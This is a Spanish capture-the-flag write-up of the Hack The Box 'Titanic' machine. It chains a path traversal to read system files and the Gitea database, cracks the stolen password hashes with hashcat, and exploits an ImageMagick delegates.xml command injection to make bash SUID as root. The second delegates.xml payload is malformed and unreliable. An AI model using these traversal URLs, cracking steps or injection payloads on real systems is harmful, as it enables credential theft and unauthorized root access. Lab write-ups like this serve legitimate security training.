Writeup Titanic
Dificultad: Facil
Sistema Operativo: Linux
Hola amigos! aquí un nuevo writeup de una maquina #linux
explotaremos un path traversal que se da gracias a apuntar a un archivo sin validar o tener en cuenta que puede ser manipulado. Para la escalada de privilegios nos aprovechamos de un script no sanitizado y de una versión de imagemagick vulnerable a inyección de comandos
Reconocimiento
lo primero es crear los directorios de trabajo en la carpeta (yo tengo un directorio htb) así que:
mkdir titanic & cd titanic
mkdir nmap content exploits & cd nmap
lo primero es escanear todos los puertos de la ip de la maquina, le diremos a nmap que escanee todos los puertos pero solo nos reporte los que estén abiertos, así que que :
nmap -p- --open -n -sS -Pn -vv --min-rate 5000 10.10.10.10 -oN puertos
nos da como resultado:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-30 23:45 CEST
Initiating SYN Stealth Scan at 23:45
Scanning 10.129.4.241 [65535 ports]
Discovered open port 80/tcp on 10.129.4.241
Discovered open port 22/tcp on 10.129.4.241
Completed SYN Stealth Scan at 23:45, 15.27s elapsed (65535 total ports)
Nmap scan report for 10.129.4.241
Host is up, received user-set (0.057s latency).
Scanned at 2025-04-30 23:45:28 CEST for 15s
Not shown: 55533 closed tcp ports (reset), 10000 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.34 seconds
Raw packets sent: 77808 (3.424MB) | Rcvd: 56014 (2.241MB)
un poco típico en la maquina fáciles, un puerto 22 para ssh y 80 http(una aplicación web)
ahora, vamos a escanear esos puertos con los scripts básicos de reconocimiento de nmap:
nmap -p22,80 -sCV -n -vvv 10.10.10.10 -oN objetivos
y tenemos como resultado:
Completed NSE at 23:49, 0.00s elapsed
Nmap scan report for 10.129.4.241
Host is up, received echo-reply ttl 63 (0.038s latency).
Scanned at 2025-04-30 23:49:18 CEST for 8s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
| 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
tenemos un apache, y un host (titanic.htb)
agregamos en nombre de dominio junto a la ip a nuestro /etc/hosts:
echo "10.10.10.10 titanic.htb" | tee -a /etc/hosts
Enumeración:
ahora que tenemos un nombre de dominio, antes de pasar al navegador, me gustaría hacerle fuzzing y ver que mas descubrimos desde la terminal
primero, descubrimiento de subdominios con ffuf:
ffuf -c --fl=156 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://titanic.htb -H "Host: FUZZ.titanic.htb" -r
he decidido filtrar por el numero de líneas, ya que todos arrojan código de estado 200 con la redirección, por lo que quiero ver solo aquellos que me den un resultado diferente: tenemos un subdominio disponible dev.titanic.htb
ahora, quiero hacerle fuzzing para descubrir directorios al dominio principal:
ffuf -c --fc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://titanic.htb/FUZZ
##o puedes usar tambien feroxbuster:
feroxbuster -u http://titanic.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -n
yo he usado feroxbuster porque esta herramienta hace fuzzing sobre los directorio s encontrados a la vez de que va probando otros:
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://titanic.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
400 GET 1l 4w 41c http://titanic.htb/download
405 GET 5l 20w 153c http://titanic.htb/book
200 GET 30l 77w 567c http://titanic.htb/static/styles.css
200 GET 664l 5682w 412611c http://titanic.htb/static/assets/images/home.jpg
200 GET 851l 5313w 507854c http://titanic.htb/static/assets/images/exquisite-dining.jpg
200 GET 859l 5115w 510909c http://titanic.htb/static/assets/images/luxury-cabins.jpg
200 GET 2986l 7000w 469100c http://titanic.htb/static/assets/images/favicon.ico
200 GET 890l 5324w 534018c http://titanic.htb/static/assets/images/entertainment.jpg
200 GET 156l 415w 7399c http://titanic.htb/
por los directorios podemos ver solo 2 directorios, ahora si vamos a la pagina web para enumerarla:
book tiene un formulario para escoger un viaje en barco y con el botón “submit” vemos que descarga un archivo json, este botón no me muestra un direccionamiento (así que quiero ver esto en burpsuite):
pero antes, quiero mirar el archivo descargado con exiftool, para saber si hay datos filtrados:
exiftool 0863951c-3e94-4d93-8a34-b8bdd3fbb890.json
##tenemos como respuesta:
ExifTool Version Number : 13.10
File Name : 0863951c-3e94-4d93-8a34-b8bdd3fbb890.json
Directory : .
File Size : 113 bytes
File Modification Date/Time : 2025:05:01 07:34:41+02:00
File Access Date/Time : 2025:05:01 07:34:41+02:00
File Inode Change Date/Time : 2025:05:01 07:34:41+02:00
File Permissions : -rw-rw-r--
File Type : JSON
File Type Extension : json
MIME Type : application/json
Name : 3vilsec
Email : 3vilsec@htb.com
Phone : 342342342342
Date : 2025-05-09
Cabin : Deluxe
nada fuera de lo común
ahora, pasando a burpsuite vemos la redirección para la descarga:
si seguimos la redirección:
tenemos una url bastante curiosa en la cual podemos probar algunas cosas
con un simple path traversal tenemos:
la url vulnerable:
http://titanic.htb/download?ticket=../../../../../etc/passwd
siempre que hay una url que hace referencia a un archivo del servidor, podemos probar esto
he podido acceder a la flag del usuario:
http://titanic.htb/download?ticket=../../../../../home/developer/user.txt
pero no he podido acceder a la id_rsa, entonces, esto puede ser una vulnerabilidad que nos sirva para encontrar algo mas.
voy a agregar el subdominio a mi /etc/hosts e intentar enumerar que pista o información podemos aprovechar de allí
es un repositorio gitea: google nos dice: Gitea es un paquete de software de código abierto para alojar el control de versiones de desarrollo de software utilizando Git
voy a enumerar un poco la pagina:
el repositorio docker-config, tiene el compose.yml de la pagina gitea, aunque tambien tiene credenciales de la base de datos:
tambien con esto, sabemos que hay una base de datos disponible, a la cual tenemos un método de acceder
en el otro repositorio, podemos ver la aplicacion y el fragmento de codigo que la hace vulnerable al path traversal:
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400`
json_filepath = os.path.join(TICKETS_DIR, ticket)`
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)`
else:
return jsonify({"error": "Ticket not found"}), 404
navegando un poco mas, veo que hay otro usuario:
aunque esto no sirve de mucho
usando la vulnerabilidad path traversal, busco el docker compose, para ver si tiene algo diferente al del gitea: pero no, aunque nos da info interesante, docker usa volúmenes por lo cual, aquí en el compose nos esta diciendo la ruta donde se ubica
si vamos a:
/../../../../../home/developer/gitea/data/gitea/gitea.db
tenemos la base de datos del gitea y podemos descargarla a nuestra maquina con un wget:
wget 'http://titanic.htb/download?ticket=/../../../../../home/developer/gitea/data/gitea/gitea.db'
abrir la base de datos en la terminal, vamos a usar:
mysqlite3 gitea.db
y dentro de la base de datos para ver los hashes de usuario:
##activar cabeceras
.headers on
select * from user;
select name, passwd, passwd_hash_algo,salt from user;
tendremos:
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34
este patrón de hash y que esta relacionado a gitea me recuerda a una maquina en la que había que crakear un hash almacenado de manear incorrecta, (exactamente la maquina compiled), al volver allí vi que es el mismo patrón en cual se hace tambien referencia en un post de hashcat: https://hashcat.net/forum/thread-8391-post-44775.html#pid44775
así que debemos reconstruir el hash:
echo '8bf3e3452b78544f8bee9400d6936d34' | xxd -r -p | base64
echo 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' | xxd -r -p | base64
estos comandos, van a llevar los hashes a su base binaria, para a partir de alli convertirlo a base64 que es el formato que nos pide hashcat
y finalmente lo armamos:
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
usando hashcat:
hashcat hash /usr/share/wordlists/rockyou.txt -m 10900
aunque probé ambos hashes, el de developer me ha dado resultado:
hashcat (v6.2.6) starting
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344390
* Bytes.....: 139921519
* Keyspace..: 14344390
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqc...lM+1Y=
Time.Started.....: Thu May 1 11:24:57 2025 (15 secs)
Time.Estimated...: Thu May 1 11:25:12 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 381 H/s (5.08ms) @ Accel:16 Loops:1024 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 5712/14344390 (0.04%)
Rejected.........: 0/5712 (0.00%)
Restore.Point....: 5600/14344390 (0.04%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:49152-49999
Candidate.Engine.: Device Generator
Candidates.#1....: inferno -> aggies
Hardware.Mon.#1..: Util: 68%
Started: Thu May 1 11:24:56 2025
Stopped: Thu May 1 11:25:13 2025
25282528
si intentamos conectarnos por ssh:
ssh developer@10.10.10.10
enumerando un poco la maquina, vemos que toda la aplicación y scripts de la misma están en el directorio /opt
el mas interesante es un en /opt/scripts llamado identify_images.sh que lo corre el usuario root:
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
vemos que el script esta abiriendo el directorio /opt/app/static/assets/images, vaciando el archivo metadata.log y busca allí mismo los archivos que terminen en .jpg (sin validar) y lo convierte en salida con imagemagick y el resultado es enviado a meetadata.log
buscando inyección de comandos a imagemagick podemos encontrar la vulnerabilidad CVE-2024-41817
https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
nos dice que ciertas versiones de magick son vulnerables a inyección de comandos, si verificamos la que esta en la maquina:
magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
vemos que si es vulnerable
verificamos si donde el script busca la imagen es un directorio en el cual podemos escribir:
ls -la /opt/app/static/assets/images/
drwxrwx--- 2 root developer 4096 Feb 3 17:13 .
drwxr-x--- 3 root developer 4096 Feb 7 10:37 ..
lo primero es crear el archivo que vemos en el POC:
cat << EOF > ./delegates.xml
<delegatemap><delegate xmlns="" decode="XML" command="id"/></delegatemap>
EOF
luego vamos a crear una imagen con un nombre malicioso dado que no hay validación:
touch 'delegates.xml 3vil.jpg'
por alguna razon el script no funciona si el metadata.log existe asi que el comando que ejecuto en el directorio /opt/scripts es:
rm /opt/app/static/assets/images/metadata.log && ./identify_images.sh
al abrir el .log: se están ejecutando comandos de root gracias al archivo xml
así que, para ejecutar un comando mas completo use:
cat << EOF > ./delegates.xml
<delegatemap><delegate xmlns="" decode="XML" command=<name>chmod</name>
<permissions>u+s</permissions>
<target>/bin/bash</target></delegatemap>
EOF
para así convertir la bash en suid
luego ejecute
rm /opt/app/static/assets/images/metadata.log && ./identify_images.sh
y finalmente:
con esto, podemos volvernos root con el comando /bin/bash -p
nos vemos en la siguiente maquina!